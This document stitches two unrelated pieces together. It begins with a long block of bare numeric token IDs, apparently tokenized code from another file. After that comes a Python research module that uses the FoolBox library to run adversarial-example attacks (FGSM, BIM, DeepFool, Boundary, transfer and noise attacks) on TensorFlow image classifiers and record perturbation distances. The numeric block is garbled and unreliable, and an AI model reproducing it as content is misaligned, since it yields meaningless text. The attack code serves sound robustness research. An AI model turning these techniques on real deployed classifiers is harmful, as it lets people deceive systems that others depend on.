877, 10141, 29918, 333, 742, 6213, 29897, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 285, 29908, 11851, 29918, 29894, 29906, 29914, 28993, 19248, 7097, 29918, 333, 6822, 11458, 29914, 613, 13, 9651, 848, 29922, 1272, 13, 4706, 1723, 13, 4706, 736, 1121, 3366, 4882, 3108, 1275, 376, 554, 29908, 13, 13, 1678, 822, 1513, 29918, 9799, 29918, 13653, 29898, 1311, 29892, 5745, 29918, 333, 29901, 851, 29892, 1404, 29918, 4841, 29901, 2391, 29961, 524, 2314, 1599, 8797, 3728, 29901, 13, 4706, 9995, 13, 4706, 26849, 263, 5745, 304, 1051, 310, 4160, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 5745, 29918, 333, 29901, 851, 13, 9651, 853, 1387, 8213, 3553, 13, 4706, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 23861, 1178, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 8797, 3728, 13, 9651, 530, 1203, 310, 8797, 3728, 13, 4706, 9995, 13, 4706, 4974, 1583, 29889, 1792, 29918, 333, 29892, 376, 11049, 3734, 29908, 13, 4706, 5993, 353, 1583, 29889, 17158, 29918, 6149, 362, 29918, 6979, 580, 13, 4706, 5745, 29918, 333, 353, 1583, 29889, 9799, 29918, 333, 29898, 9799, 29918, 333, 29897, 13, 4706, 23957, 993, 29918, 7193, 353, 270, 17204, 4197, 29961, 524, 29898, 5416, 29897, 363, 318, 333, 297, 1404, 29918, 4841, 24960, 13, 4706, 848, 353, 426, 13, 9651, 525, 4361, 29886, 993, 29918, 7193, 2396, 23957, 993, 29918, 7193, 29892, 13, 9651, 525, 2467, 2396, 525, 6717, 29918, 667, 742, 13, 9651, 525, 275, 29918, 845, 29882, 29918, 8513, 2396, 29871, 29900, 29892, 13, 9651, 525, 6717, 29918, 1131, 3224, 2396, 525, 18798, 29918, 9346, 5570, 742, 13, 9651, 525, 4645, 29918, 4703, 2396, 5993, 29892, 13, 9651, 525, 9799, 29918, 333, 2396, 5745, 29918, 333, 29892, 13, 9651, 525, 6149, 362, 29918, 6979, 2396, 5993, 29892, 13, 9651, 525, 6654, 29918, 14153, 2396, 525, 29896, 29963, 29931, 29901, 18798, 29918, 9346, 5570, 29901, 29896, 29892, 29896, 29963, 29931, 29901, 18798, 29918, 9346, 5570, 29901, 29906, 29892, 29896, 29963, 29931, 29901, 18798, 29918, 9346, 5570, 29901, 29945, 29892, 17392, 2713, 598, 10654, 8752, 29901, 11851, 29918, 3781, 598, 29918, 9855, 29901, 29953, 742, 13, 9651, 525, 2696, 1220, 29918, 7097, 292, 29918, 333, 2396, 5993, 29892, 13, 4706, 500, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 376, 11851, 29918, 29894, 29906, 29914, 28993, 29914, 6729, 328, 4384, 29914, 9799, 29918, 13653, 29914, 613, 13, 9651, 396, 8636, 3790, 29915, 9799, 29918, 1853, 2396, 525, 9641, 16675, 13, 9651, 848, 29922, 1311, 29889, 2541, 29918, 4381, 29918, 1272, 29898, 1272, 511, 13, 9651, 411, 29918, 4530, 1535, 29922, 8824, 29892, 13, 4706, 1723, 13, 4706, 736, 6597, 29918, 11851, 29918, 4906, 29898, 2914, 3366, 23813, 20068, 13, 13, 1678, 822, 1513, 29918, 24098, 29918, 13653, 29898, 1311, 29892, 5828, 29918, 333, 29901, 851, 29892, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 19997, 3244, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 518, 2314, 1599, 8797, 3728, 29901, 13, 4706, 9995, 13, 4706, 26849, 263, 5828, 304, 1051, 310, 4160, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 5828, 29918, 333, 29901, 851, 13, 9651, 853, 1387, 13740, 3553, 13, 4706, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 23861, 1178, 13, 4706, 3244, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 23861, 1178, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 8797, 3728, 13, 9651, 530, 1203, 310, 8797, 3728, 13, 4706, 9995, 13, 4706, 4974, 1583, 29889, 1792, 29918, 333, 29892, 376, 11049, 3734, 29908, 13, 4706, 4974, 313, 1792, 29918, 4841, 470, 3244, 29918, 4841, 29897, 322, 451, 313, 1792, 29918, 4841, 322, 3244, 29918, 4841, 511, 376, 10299, 1598, 1404, 29918, 4841, 470, 3244, 29918, 4841, 29892, 541, 451, 1716, 29908, 13, 4706, 5828, 29918, 333, 353, 1583, 29889, 9799, 29918, 333, 29898, 24098, 29918, 333, 29897, 13, 4706, 5828, 29918, 20571, 353, 1583, 29889, 9799, 29918, 20571, 29898, 24098, 29918, 333, 29897, 13, 4706, 5993, 353, 1583, 29889, 17158, 29918, 6149, 362, 29918, 6979, 580, 13, 4706, 848, 353, 426, 13, 9651, 376, 2467, 1115, 376, 6717, 29918, 667, 613, 13, 9651, 376, 275, 29918, 845, 29882, 29918, 8513, 1115, 376, 29900, 613, 13, 9651, 376, 6717, 29918, 1131, 3224, 1115, 376, 276, 295, 29918, 18798, 29918, 9346, 5570, 613, 13, 9651, 376, 4645, 29918, 4703, 1115, 5993, 29892, 13, 9651, 376, 6149, 362, 29918, 6979, 1115, 5993, 29892, 13, 9651, 376, 6654, 29918, 14153, 1115, 376, 29896, 29939, 29911, 29901, 18798, 29918, 9346, 5570, 29901, 29896, 29892, 1123, 295, 29963, 15580, 8752, 29901, 276, 295, 29918, 18798, 29918, 9346, 5570, 29901, 29946, 29892, 17392, 2713, 598, 10654, 8752, 29901, 11851, 29918, 3781, 598, 29918, 9855, 29901, 29945, 613, 13, 9651, 376, 276, 295, 29918, 333, 1115, 5828, 29918, 20571, 29892, 13, 9651, 376, 1285, 475, 837, 397, 1297, 1115, 376, 276, 295, 29918, 18798, 29918, 9346, 5570, 613, 13, 9651, 376, 24098, 29918, 9799, 29918, 333, 1115, 5828, 29918, 333, 29892, 13, 9651, 376, 2696, 1220, 29918, 7097, 292, 29918, 333, 1115, 5993, 29892, 13, 4706, 500, 13, 4706, 565, 1404, 29918, 4841, 29901, 13, 9651, 848, 3366, 4361, 29886, 993, 29918, 7193, 3108, 353, 270, 17204, 4197, 29961, 524, 29898, 5416, 29897, 363, 318, 333, 297, 1404, 29918, 4841, 24960, 13, 4706, 565, 3244, 29918, 4841, 29901, 13, 9651, 848, 3366, 7097, 29918, 4841, 3108, 353, 270, 17204, 4197, 524, 29898, 17681, 29897, 363, 10668, 297, 3244, 29918, 4841, 2314, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 376, 11851, 29918, 29894, 29906, 29914, 28993, 29914, 6729, 328, 4384, 29914, 24098, 29918, 13653, 29914, 613, 13, 9651, 396, 8636, 3790, 29915, 24098, 29918, 1853, 2396, 525, 9641, 16675, 13, 9651, 848, 29922, 1311, 29889, 2541, 29918, 4381, 29918, 1272, 29898, 1272, 511, 13, 9651, 411, 29918, 4530, 1535, 29922, 8824, 29892, 13, 4706, 1723, 13, 4706, 736, 6597, 29918, 11851, 29918, 4906, 29898, 2914, 3366, 23813, 20068, 13, 13, 1678, 822, 1513, 29918, 7097, 29918, 3502, 29918, 348, 949, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 4485, 263, 3244, 408, 443, 949, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 5163, 310, 3244, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 6120, 13, 9651, 319, 7223, 995, 13, 4706, 9995, 13, 4706, 848, 353, 1583, 29889, 2541, 29918, 4381, 29918, 1272, 3319, 1800, 13, 4706, 848, 29889, 7323, 877, 29918, 5416, 742, 6213, 29897, 13, 4706, 848, 29889, 7323, 877, 10141, 29918, 333, 742, 6213, 29897, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 285, 29908, 11851, 29918, 29894, 29906, 29914, 28993, 19248, 7097, 29918, 333, 6822, 3502, 29918, 348, 949, 29914, 613, 13, 9651, 848, 29922, 1272, 13, 4706, 1723, 13, 4706, 736, 1121, 3366, 4882, 3108, 1275, 376, 554, 29908, 13, 13, 1678, 822, 1513, 29918, 4906, 29918, 8143, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29892, 2643, 29918, 333, 29901, 938, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 21267, 263, 2643, 515, 3244, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 5163, 310, 3244, 13, 4706, 2643, 29918, 333, 29901, 938, 13, 9651, 5163, 310, 2643, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 6120, 13, 9651, 319, 7223, 995, 13, 4706, 9995, 13, 4706, 848, 353, 1583, 29889, 2541, 29918, 4381, 29918, 1272, 3319, 1800, 13, 4706, 848, 29889, 7323, 877, 29918, 5416, 742, 6213, 29897, 13, 4706, 848, 29889, 7323, 877, 10141, 29918, 333, 742, 6213, 29897, 13, 4706, 848, 1839, 275, 29918, 845, 29882, 29918, 8513, 2033, 353, 29871, 29900, 13, 4706, 848, 1839, 6717, 29918, 1131, 3224, 2033, 353, 525, 11851, 29918, 7097, 29915, 13, 4706, 848, 1839, 13492, 29918, 4906, 29918, 4645, 29918, 4703, 2033, 353, 1583, 29889, 17158, 29918, 6149, 362, 29918, 6979, 580, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 285, 29908, 11851, 29918, 29894, 29906, 29914, 28993, 19248, 7097, 29918, 333, 6822, 7076, 19248, 4906, 29918, 333, 6822, 8143, 29914, 613, 13, 9651, 848, 29922, 1272, 13, 4706, 1723, 13, 4706, 736, 1121, 3366, 4882, 3108, 1275, 376, 554, 29908, 13, 13, 1678, 822, 1513, 29918, 7097, 29918, 29885, 1082, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29892, 29538, 29901, 6120, 353, 7700, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 341, 1082, 278, 3244, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 5163, 310, 3244, 13, 4706, 29538, 29901, 6120, 29892, 13136, 13, 9651, 960, 286, 3860, 29892, 3692, 470, 451, 304, 443, 29885, 1082, 29889, 13109, 338, 7700, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 6120, 13, 9651, 319, 7223, 995, 13, 4706, 9995, 13, 4706, 1024, 353, 376, 348, 29885, 1082, 29908, 565, 29538, 1683, 376, 29885, 1082, 29908, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 285, 29908, 11851, 29918, 29894, 29906, 29914, 28993, 19248, 7097, 29918, 333, 6822, 29912, 978, 6822, 613, 13, 9651, 848, 3790, 15972, 25118, 2396, 1583, 29889, 25118, 29913, 13, 4706, 1723, 13, 4706, 736, 1121, 3366, 4882, 3108, 1275, 376, 554, 29908, 13, 13, 1678, 822, 1513, 29918, 7097, 29918, 348, 29885, 1082, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 853, 29885, 1082, 278, 3244, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 5163, 310, 3244, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 6120, 13, 9651, 319, 7223, 995, 13, 4706, 9995, 13, 4706, 736, 1583, 29889, 11851, 29918, 7097, 29918, 29885, 1082, 29898, 7097, 29918, 333, 29892, 29538, 29922, 5574, 29897, 13, 13, 1678, 822, 1513, 29918, 7097, 29918, 29885, 1082, 29918, 9641, 29918, 4804, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29892, 29538, 29901, 6120, 353, 7700, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 341, 1082, 4863, 1246, 363, 278, 3244, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 5163, 310, 3244, 13, 4706, 29538, 29901, 6120, 29892, 13136, 13, 9651, 960, 286, 3860, 29892, 3692, 470, 451, 304, 443, 29885, 1082, 29889, 13109, 338, 7700, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 6120, 13, 9651, 319, 7223, 995, 13, 4706, 9995, 13, 4706, 1024, 353, 376, 348, 29885, 1082, 29918, 9641, 29918, 4804, 29908, 565, 29538, 1683, 376, 29885, 1082, 29918, 9641, 29918, 4804, 29908, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 285, 29908, 11851, 29918, 29894, 29906, 29914, 28993, 19248, 7097, 29918, 333, 6822, 29912, 978, 6822, 613, 13, 9651, 848, 3790, 15972, 25118, 2396, 1583, 29889, 25118, 29913, 13, 4706, 1723, 13, 4706, 736, 1121, 3366, 4882, 3108, 1275, 376, 554, 29908, 13, 13, 1678, 822, 1513, 29918, 7097, 29918, 348, 29885, 1082, 29918, 9641, 29918, 4804, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 853, 29885, 1082, 4863, 1246, 363, 278, 3244, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 5163, 310, 3244, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 6120, 13, 9651, 319, 7223, 995, 13, 4706, 9995, 13, 4706, 736, 1583, 29889, 11851, 29918, 7097, 29918, 29885, 1082, 29918, 9641, 29918, 4804, 29898, 7097, 29918, 333, 29892, 29538, 29922, 5574, 29897, 13, 2 ]
tfCore_adversarial_attacks.py
nielsleadholm/CNN_Binding
1
165651
#!/usr/bin/env python3 import tensorflow as tf import numpy as np import os import math import foolbox import scipy import matplotlib.pyplot as plt from PIL import Image #Utilizes the FoolBox Python library (https://github.com/bethgelab/foolbox) to implement a variety #of adversarial attacks against deep-learning models implimented in TensorFlow's Core API class parent_attack: def __init__(self, attack_dic, criterion=foolbox.criteria.Misclassification()): self.model_prediction_function = attack_dic['model_prediction_function'] self.model_weights = attack_dic['model_weights'] self.var_list = attack_dic['var_list'] self.weights_dic = attack_dic['weights_dic'] self.biases_dic = attack_dic['biases_dic'] self.input_data = attack_dic['input_data'] self.input_labels = attack_dic['input_labels'] self.input_placeholder = attack_dic['input_placeholder'] self.dropout_rate_placeholder = attack_dic['dropout_rate_placeholder'] self.output_directory = attack_dic['output_directory'] self.num_attack_examples = attack_dic['num_attack_examples'] self.dynamic_dic = attack_dic['dynamic_dic'] #Determines if e.g. a network section is ablated, or noise is added to the logits self.batch_size = attack_dic['batch_size'] self.save_images = attack_dic['save_images'] self.estimate_gradients = attack_dic['estimate_gradients'] self.adver_model = attack_dic['adver_model'] self.adver_checkpoint = attack_dic['adver_checkpoint'] self.criterion = criterion #note by default this is simply foolbox's Misclassification criterion #Define the class attribute, attack_method, to be the Blended Uniform Noise attack by default attack_method = foolbox.attacks.BlendedUniformNoiseAttack foolbox_distance_metric = foolbox.distances.MeanSquaredDistance attack_type_dir = 'Parent_*_not_advised_*_' def evaluate_resistance(self): if self.adver_model == None: logits, _ = self.model_prediction_function(self.input_placeholder, self.dropout_rate_placeholder, self.weights_dic, self.biases_dic, self.dynamic_dic) saver = tf.train.Saver(self.var_list) #Define saver object for use later when loading the model weights else: saver = tf.train.Saver() self.mk_dir() with tf.Session() as session: #Define the foolbox model if self.adver_model == None: print("\nEvaluating a non-adversarially trained model") saver.restore(session, self.model_weights) #Note when restoring weights its important not to run init on the same #variables, as this will over-write the learned weights with randomly initialized ones fmodel = foolbox.models.TensorFlowModel(self.input_placeholder, logits, (0,1)) else: print("\nEvaluating an adversarially trained model") saver.restore(session, self.adver_checkpoint) fmodel = foolbox.models.TensorFlowModel(self.input_placeholder, self.adver_model.pre_softmax, (0,1)) #Wrap the model to enable estimated gradients if desired if self.estimate_gradients == True: print("\nUsing a model with *estimated* gradients.") estimator = foolbox.gradient_estimators.CoordinateWiseGradientEstimator(epsilon=0.01) fmodel = foolbox.models.ModelWithEstimatedGradients(fmodel, gradient_estimator=estimator) #The default CoordinateWiseGradientEstimator estimator is the same used in the Schott et al, 2019 ABS paper from ICLR print("\nPerforming " + self.attack_type_dir + " attack") print("Evaluating " + str(self.num_attack_examples) + " adversarial example(s)") #Arrays for storing results of the evaluation adversary_found = np.zeros([self.num_attack_examples]) #array of booleans that indicates if an adversary was found for a particular image adversary_distance = np.zeros([self.num_attack_examples]) adversaries_array = np.zeros(np.concatenate(([self.num_attack_examples], self.input_data.shape[1:]))) adversary_labels = [] self.attack_specification(fmodel) for batch_iter in range(math.ceil(self.num_attack_examples/self.batch_size)): execution_batch_data = self.input_data[batch_iter*self.batch_size:min((batch_iter+1)*self.batch_size, self.num_attack_examples)] execution_batch_labels = np.argmax(self.input_labels[batch_iter*self.batch_size:min((batch_iter+1)*self.batch_size, self.num_attack_examples)], axis=1) #Carry out the attack adversarial_images, batch_adversary_labels = self.create_adversarial(execution_batch_data, execution_batch_labels) adversary_labels.extend(batch_adversary_labels) #Process results of the batched attack for example_iter in range(execution_batch_data.shape[0]): if np.any(adversarial_images[example_iter] == None) or np.all(np.isnan(adversarial_images[example_iter])): print("\nNo adversarial image found - attack returned None or array of NaNs\n") #As in Schott, 2019 et al, the distance of an unsuccessful attack is recorded as infinity adversary_distance[batch_iter*self.batch_size + example_iter] = np.inf else: adversary_found, adversary_distance, adversaries_array = self.store_data(adversary_found, adversary_distance, adversaries_array, execution_batch_data[example_iter], execution_batch_labels[example_iter], adversarial_images[example_iter], batch_iter*self.batch_size + example_iter, fmodel) adversary_labels = np.asarray(adversary_labels) return adversary_found, adversary_distance, adversaries_array, adversary_labels def attack_specification(self, fmodel): self.attack_fmodel = self.attack_method(model=fmodel, criterion=self.criterion, distance=self.foolbox_distance_metric) #Make the attack directory for storing results def mk_dir(self): if os.path.exists('adversarial_images/' + self.output_directory + '/' + self.attack_type_dir + '/') == 0: try: os.mkdir('adversarial_images/' + self.output_directory + '/') except OSError: pass try: os.mkdir('adversarial_images/' + self.output_directory + '/' + self.attack_type_dir + '/') except OSError: pass def create_adversarial(self, execution_data, execution_label): adversarials = self.attack_fmodel(execution_data, execution_label, unpack=False) adversary_labels = np.asarray([a.adversarial_class for a in adversarials]) adversarial_images = np.asarray([a.perturbed for a in adversarials]) return adversarial_images, adversary_labels def store_data(self, adversary_found, adversary_distance, adversaries_array, execution_data, execution_label, adversarial_image, results_iter, fmodel): adversaries_array[results_iter] = adversarial_image #Note only 10 adversarial images are saved for a given attack to reduce memory issues if self.save_images == True and (results_iter<10): if adversarial_image.shape[2] == 3: image_to_png = adversarial_image elif adversarial_image.shape[2] == 1: image_to_png = np.squeeze(adversarial_image, axis=2) #Remove last dimension if saving to greyscale plt.imsave('adversarial_images/' + self.output_directory + '/' + self.attack_type_dir + '/AttackNum' + str(results_iter) + '_Predicted' + str(np.argmax(fmodel.forward(adversarial_image[None, :, :, :]))) + '_GroundTruth' + str(execution_label) + '.png', image_to_png) print("The classification label following attack is " + str(np.argmax(fmodel.forward(adversarial_image[None]))) + " from an original classification of " + str(execution_label)) distance, distance_name = self.distance_metric(execution_data.flatten(), adversarial_image.flatten()) print("The " + distance_name + " distance of the adversary is " + str(distance)) adversary_found[results_iter] = 1 adversary_distance[results_iter] = distance return adversary_found, adversary_distance, adversaries_array def distance_metric(self, vector1, vector2): distance = scipy.spatial.distance.euclidean(vector1, vector2) distance_name = 'Euclidean (L-2)' return distance, distance_name class check_stochasticity(parent_attack): #Performs checks to ensure there are no unintended stochastic elements (e.g. due to numerical issues) in a models predictions in foolbox def perform_check(self): logits, _ = self.model_prediction_function(self.input_placeholder, self.dropout_rate_placeholder, self.weights_dic, self.biases_dic, self.dynamic_dic) saver = tf.train.Saver(self.var_list) with tf.Session() as session: saver.restore(session, self.model_weights) fmodel = foolbox.models.TensorFlowModel(self.input_placeholder, logits, (0,1)) print('Checking the models performance on multiple runs of the same images') for example_iter in range(self.num_attack_examples): execution_data = self.input_data[example_iter, :, :, :] logits_list = [] labels_list = [] #Check the same image with multiple runs for ii in range(10): #Return the logits and label of the model predicted_logits = fmodel.forward(execution_data[None,:,:,:]) logits_list.extend(predicted_logits) #Check every element is equivalent to the most recent prediction assert np.all(logits_list == np.asarray(predicted_logits)), "***Some of the logits are changing stochastically***" print("No stochastic elements identified") class transfer_attack_L2(parent_attack): #Overwrite parent constructor for two additional attributes : starting_adversaries, epsilon_step_size, and max_iterations def __init__(self, attack_dic, starting_adversaries, epsilon_step_size=0.01, max_iterations=1000): parent_attack.__init__(self, attack_dic) self.starting_adversaries = starting_adversaries self.epsilon_step_size = epsilon_step_size self.max_iterations = max_iterations attack_type_dir = 'Transfer_L2' #Overwrite evaluate_resistance method with one that finds minimal transfer-attack images def evaluate_resistance(self): if self.adver_model == None: logits, _ = self.model_prediction_function(self.input_placeholder, self.dropout_rate_placeholder, self.weights_dic, self.biases_dic, self.dynamic_dic) saver = tf.train.Saver(self.var_list) #Define saver object for use later when loading the model weights else: saver = tf.train.Saver() self.mk_dir() with tf.Session() as session: #Define the foolbox model if self.adver_model == None: print("\nEvaluating a non-adversarially trained model") saver.restore(session, self.model_weights) #Note when restoring weights its important not to run init on the same #variables, as this will over-write the learned weights with randomly initialized ones fmodel = foolbox.models.TensorFlowModel(self.input_placeholder, logits, (0,1)) else: print("\nEvaluating an adversarially trained model") saver.restore(session, self.adver_checkpoint) fmodel = foolbox.models.TensorFlowModel(self.input_placeholder, self.adver_model.pre_softmax, (0,1)) print("\nPerforming a Transfer attack") print("Evaluating " + str(self.num_attack_examples) + " adversarial example(s)") #Arrays for storing results of the evaluation adversary_distance = np.zeros([4, self.num_attack_examples]) for example_iter in range(self.num_attack_examples): print("Transfer attack number " + str(example_iter)) #Iterate through the four different starting points for generating adversaries (two different gradient # based attacks for each of the two main architecture types --> binding or not binding); the minimally-perturbed attack will be returned for base_method_iter in range(4): adversary_distance = self.iterative_perturbation(fmodel, adversary_distance, example_iter, base_method_iter, unperturbed_image=self.input_data[example_iter], ground_truth_label=self.input_labels[example_iter], starting_adversary=self.starting_adversaries[base_method_iter, example_iter]) print("Method " + str(base_method_iter) + " distance is " + str(adversary_distance[base_method_iter, example_iter])) #Of all images genereated from the base attack types, select the minimally perturbed image for each example adversary_distance = adversary_distance.min(axis=0) return adversary_distance def iterative_perturbation(self, fmodel, adversary_distance, example_iter, base_method_iter, unperturbed_image, ground_truth_label, starting_adversary): epsilon = 0.0 current_iteration = 1 #First check if the base attack method failed on the surrogate model #If so, see if the target model correctly classifies it, in which case it is a failed attack, or otherwise it is a successful attack with distance 0 if np.any(starting_adversary == None) or np.all(np.isnan(starting_adversary)): if (np.argmax(fmodel.forward(unperturbed_image[None])) == np.argmax(ground_truth_label)): print("Base attack failed, and target model correctly classified image.") adversary_distance[base_method_iter, example_iter] = np.inf else: print("Base attack failed, but target model misclassified image.") adversary_distance[base_method_iter, example_iter] = 0 else: #Begin with an *unperturbed* image, as this may already be enough to fool the target model transfer_perturbed = unperturbed_image print("Original classification is " + str(np.argmax(fmodel.forward(transfer_perturbed[None])))) print("Ground truth label is " + str(np.argmax(ground_truth_label))) # Binary search for transfer attack as used in Schott et al; based on code provided by <NAME> (Bethge Lab) direction = starting_adversary - unperturbed_image bad = 0 good = None epsilon_binary = 1 k = 10 #Rapidly identify starting point for binary search for _ in range(k): transfer_perturbed = unperturbed_image + epsilon_binary * direction transfer_perturbed = np.clip(transfer_perturbed, 0, 1) print("Epsilon is " + str(epsilon_binary)) if (np.argmax(fmodel.forward(transfer_perturbed[None])) != np.argmax(ground_truth_label)): good = epsilon_binary break else: bad = epsilon_binary epsilon_binary *= 2 print("After exponential binary search, the classification is " + str(np.argmax(fmodel.forward(transfer_perturbed[None])))) if np.argmax(fmodel.forward(transfer_perturbed[None])) == np.argmax(ground_truth_label): print("Exponential search failed") adversary_distance[base_method_iter, example_iter] = np.inf print("The distance is " + str(adversary_distance[base_method_iter, example_iter])) else: for _ in range(k): epsilon_binary = (good + bad) / 2. transfer_perturbed = unperturbed_image + epsilon_binary * direction transfer_perturbed = np.clip(transfer_perturbed, 0, 1) if (np.argmax(fmodel.forward(transfer_perturbed[None])) != np.argmax(ground_truth_label)): good = epsilon_binary else: bad = epsilon_binary adversary_distance[base_method_iter, example_iter], _ = self.distance_metric(unperturbed_image.flatten(), transfer_perturbed.flatten()) print("After standard binary search, the classification is " + str(np.argmax(fmodel.forward(transfer_perturbed[None])))) print("The distance is " + str(adversary_distance[base_method_iter, example_iter])) return adversary_distance #*** L-0 Distance Attacks *** class pointwise_attack_L0(parent_attack): attack_method = foolbox.attacks.PointwiseAttack foolbox_distance_metric = foolbox.distances.L0 #This is the distance metric used during optimization by FoolBox attacks attack_type_dir = 'Pointwise_L0' #This is the distance metric used to evalute the final distances of the returned images from the original def distance_metric(self, vector1, vector2): distance = scipy.spatial.distance.hamming(vector1, vector2)*len(vector1) distance_name = 'Hamming (L-0)' return distance, distance_name class salt_pepper_attack(pointwise_attack_L0): #Inherit the attributes of the pointwise_attack_L0 class, then overwrite the attack method attack_method = foolbox.attacks.SaltAndPepperNoiseAttack attack_type_dir = 'Salt_and_Pepper' #*** L-2 Distance Attacks *** class blended_noise_attack(parent_attack): attack_type_dir = 'Blended_noise' #As the parent attack already uses the blended uniform noise attack by default, no changes are necessary class gaussian_noise_attack(parent_attack): attack_method = foolbox.attacks.AdditiveGaussianNoiseAttack attack_type_dir = 'Gaussian_noise' class pointwise_attack_L2(parent_attack): #Note this version of the point-wise attack inherits the L2 distance metric from the parent class attack_method = foolbox.attacks.PointwiseAttack attack_type_dir = 'Pointwise_L2' class FGM_attack(parent_attack): attack_method = foolbox.attacks.GradientSignAttack attack_type_dir = 'FGM' # attack_method = foolbox.attacks.GradientAttack # attack_type_dir = 'FGM' class BIM_L2_attack(parent_attack): attack_method = foolbox.attacks.L2BasicIterativeAttack attack_type_dir = 'BIM_L2' class DeepFool_L2_attack(parent_attack): attack_method = foolbox.attacks.DeepFoolL2Attack attack_type_dir = 'DeepFool_L2' class boundary_attack(parent_attack): #Overwrite parent constructor for two additional attributes : num_iterations and log_every_n_steps def __init__(self, attack_dic, criterion=foolbox.criteria.Misclassification(), num_iterations=50, log_every_n_steps=50): parent_attack.__init__(self, attack_dic, criterion) self.num_iterations = num_iterations self.log_every_n_steps = log_every_n_steps attack_method = foolbox.attacks.BoundaryAttack attack_type_dir = 'Boundary' #Overwrite create adversarial method, as the boundary attack takes a specified number of iterations def create_adversarial(self, execution_data, execution_label): adversarials = self.attack_fmodel(execution_data, execution_label, iterations=self.num_iterations, log_every_n_steps=self.log_every_n_steps, verbose=False, unpack=False) adversary_labels = np.asarray([a.adversarial_class for a in adversarials]) adversarial_images = np.asarray([a.perturbed for a in adversarials]) return adversarial_images, adversary_labels #*** L-Inf Distance Attacks *** class transfer_attack_LInf(transfer_attack_L2): attack_type_dir = 'Transfer_LInf' def distance_metric(self, vector1, vector2): distance = scipy.spatial.distance.chebyshev(vector1, vector2) distance_name = 'Chebyshev (L-Inf)' return distance, distance_name class FGSM_attack(parent_attack): attack_method = foolbox.attacks.GradientSignAttack attack_type_dir = 'FGSM' foolbox_distance_metric = foolbox.distances.Linfinity def distance_metric(self, vector1, vector2): distance = scipy.spatial.distance.chebyshev(vector1, vector2) distance_name = 'Chebyshev (L-Inf)' return distance, distance_name class BIM_Linfinity_attack(FGSM_attack): attack_method = foolbox.attacks.LinfinityBasicIterativeAttack attack_type_dir = 'BIM_LInf' class DeepFool_LInf_attack(FGSM_attack): attack_method = foolbox.attacks.DeepFoolLinfinityAttack attack_type_dir = 'DeepFool_LInf' class MIM_attack(FGSM_attack): attack_method = foolbox.attacks.MomentumIterativeAttack attack_type_dir = 'MIM'
